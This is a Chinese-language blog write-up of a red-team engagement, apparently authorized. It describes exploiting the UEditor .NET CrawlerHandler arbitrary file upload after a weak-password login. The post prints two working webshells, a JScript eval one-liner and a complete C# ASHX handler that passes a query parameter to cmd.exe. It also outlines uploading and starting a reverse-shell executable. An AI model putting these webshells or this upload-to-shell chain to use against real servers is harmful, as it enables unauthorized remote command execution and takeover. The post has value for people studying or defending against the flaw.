Aspx马如何执行命令

0x01 简短的前言

南方某市hvv,某某系统直接弱口令杀进去……

0x02 UEditor 1.4.3文件上传

进后台之后,看到一个富文本编辑器,爆路径发现是Ueditor编辑器。搜了下有个文件上传漏洞,存在于1.4.3.31.5.01.3.6版本中,并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马,执行命令控制服务器。

*该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。*相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中攻击者需要提供一个正常的域名地址就可以绕过判断;

其中source[]=后跟的地址是你的公网服务器地址,其中要先把图片马上传到公网服务器上,然后payload后加?.aspx之类的任意后缀,如图所示。

这里传是传上去了,但是不能直接用蚁剑连接,显示连接被重置。这里用一句话测试下能不能执行命令:

1
2
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["hello"],"unsafe"));%>
var date = new Date;

显示时间:var date = new Date;

爆破目录:Server.MapPath(“./")

然后var cmd = ExecuteCommand("cmd.exe", "/c whoami");没有执行成功,可能是因为有防护的原因。

最后传上去了一个ashx马,可以执行,但是限制了whoaminet user等部分命令,可以使用start命令。所以上传反弹exe文件,再start一下就可shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<% @ webhandler language="C#" class="AverageHandler" %>using System;using System.Web;using
System.Diagnostics;using System.IO;
public class AverageHandler : IHttpHandler{ /* .Net requires this to be implemented */ public bool IsReusable {
get { return true; } }
/* main executing code */ public void ProcessRequest(HttpContext ctx) { Uri url = new
Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority +
HttpContext.Current.Request.RawUrl); string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit'
value='Run'></form>"); ctx.Response.Write("<hr>"); ctx.Response.Write("<pre>");
/* command execution and output retrieval */ ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName
= "cmd.exe"; psi.Arguments = "/c "+command; psi.RedirectStandardOutput = true; psi.UseShellExecute =
false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s =
stmrdr.ReadToEnd(); stmrdr.Close();
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); ctx.Response.Write("</pre>");
ctx.Response.Write("<hr>"); ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for
educational purposes only."); }}


Aspx马如何执行命令
https://k1nm0.com/2022/06/24/Aspx马如何执行命令/
作者
K1nm0
发布于
2022年6月24日
许可协议